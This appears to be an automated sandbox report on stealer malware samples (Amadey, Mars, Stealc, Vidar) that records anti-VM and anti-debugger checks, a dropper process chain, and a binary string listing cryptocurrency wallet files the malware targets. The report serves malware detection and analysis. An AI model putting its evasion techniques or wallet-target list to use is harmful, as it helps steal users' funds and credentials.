Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: GDHIIIIE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: GDHIIIIE.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: GDHIIIIE.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: j7iUba2bki.exe, j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000061C000.00000040.00000001.01000000.00000003.sdmp, 8550c65a2f.exe, 0000000B.00000002.2340624918.000000000053C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe

Code function: 7_2_04A2060F rdtsc

7_2_04A2060F

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Code function: 0_2_6C375FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C375FF0

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Code function: 0_2_6C37C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C37C410

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_0029643B mov eax, dword ptr fs:[00000030h]		9_2_0029643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_0029A1A2 mov eax, dword ptr fs:[00000030h]		9_2_0029A1A2

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C34B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C34B66C
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C34B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C34B1F7

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe"	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\BKJEHCAKFB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe "C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe "C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe"	Jump to behavior

Source: FCFBGIDAEH.exe, FCFBGIDAEH.exe, 00000007.00000002.2261015372.0000000000224000.00000040.00000001.01000000.00000009.sdmp

Binary or memory string: AProgram Manager

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Code function: 0_2_6C34B341 cpuid

0_2_6C34B341

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Code function: 0_2_6C3135A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C3135A0

Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe

Code function: 11_2_7F4C1DE0 GetUserNameA,

11_2_7F4C1DE0

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 17.2.explorti.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.explorti.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FCFBGIDAEH.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.explorti.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.explorti.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.explorti.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.explorti.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.2262869399.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2219609337.0000000004800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3326557554.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2726193892.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4487082137.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2306823065.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.3286082543.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.4486056230.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2685932986.0000000005240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.3889545607.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2260218850.0000000000031000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2266484837.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4487080695.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3930133828.0000000000261000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 11.2.8550c65a2f.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.j7iUba2bki.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2211871328.00000000003E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2340624918.0000000000301000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000002.2341495312.000000000142E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2215514632.0000000001744000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: j7iUba2bki.exe PID: 4712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8550c65a2f.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 11.2.8550c65a2f.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.j7iUba2bki.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2211871328.00000000003E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2340624918.0000000000301000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: j7iUba2bki.exe PID: 4712, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
